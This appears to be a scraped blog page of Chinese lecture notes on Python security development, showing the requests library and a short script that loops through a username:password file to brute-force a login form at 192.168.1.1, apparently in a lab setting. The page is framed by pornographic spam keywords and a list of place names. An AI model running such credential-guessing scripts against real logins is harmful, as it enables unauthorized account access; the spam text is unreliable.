五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

python3安全開發(fā) 20230623

2023-06-23 21:33 作者:__Rebel__  | 我要投稿

講義內(nèi)容:(記得看簡(jiǎn)介[脫單doge])


python3 requests http客戶端

http://175.24.116.98:2222/login.php


?python3 -m pip install requests


import requests


response=requests.get("http://175.24.116.98:2222/login.php")

print(response.status_code)


response.url

response.text

response.status_code


嘗試登陸發(fā)送登錄請(qǐng)求包


1:如何發(fā)送POST數(shù)據(jù)?

response=requests.post("http://175.24.116.98:2222/login.php")

response=requests.request(method="POST",url="http://175.24.116.98:2222/login.php")

response=requests.post("http://175.24.116.98:2222/login.php",data="username=admin&password=666666&Login=Login&user_token=7cb1b8b72e8b5b549d9749a176734cee")


line.strip()的作用:用于處理line中的無效字符(\n?\r) =>?line.replace("\n","")



import requests


headers={

???"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0",

???"Cookie": "security=impossible; PHPSESSID=6l8bpi0sui3hc2rmqnq02l24sr"

???}


_file=open("userPasswd.txt")

userPasswd=[ line.strip() for line in _file.readlines()]

print(userPasswd)


userPasswd= [ i.split(":") for i in userPasswd ]

print(userPasswd)

for user, passwd in userPasswd:

???response=requests.post("http://192.168.1.1",

???????????data=f"frashnum=&action=login&Frm_Logintoken=14&Username={user}&Password={passwd}",

???????????headers=headers)

???print(f"[*] {response}?{user} {passwd}"

???if response.status_code==200:print("login failed")

???if response.status_code==302:print("login success!")


headers是鍵值的形式

requests的方法中headers參數(shù)就可以指定字典


Accept-Encoding:gzip, deflate

鍵:值

{"Accept-Encoding":"gzip, deflate"}




cookie和token可以放一起講的

作用都是作為臨時(shí)登錄令牌

python3安全開發(fā) 20230623的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
马龙县| 南投市| 民乐县| 石屏县| 锡林郭勒盟| 周至县| 达孜县| 金门县| 寻乌县| 福清市| 台州市| 偃师市| 海林市| 嘉善县| 宾阳县| 上林县| 马关县| 合江县| 静安区| 夏津县| 尖扎县| 义马市| 龙海市| 中牟县| 平罗县| 樟树市| 英吉沙县| 麦盖提县| 宕昌县| 牡丹江市| 西贡区| 阳泉市| 辛集市| 阿荣旗| 建瓯市| 甘泉县| 涪陵区| 永兴县| 陆河县| 双峰县| 胶南市|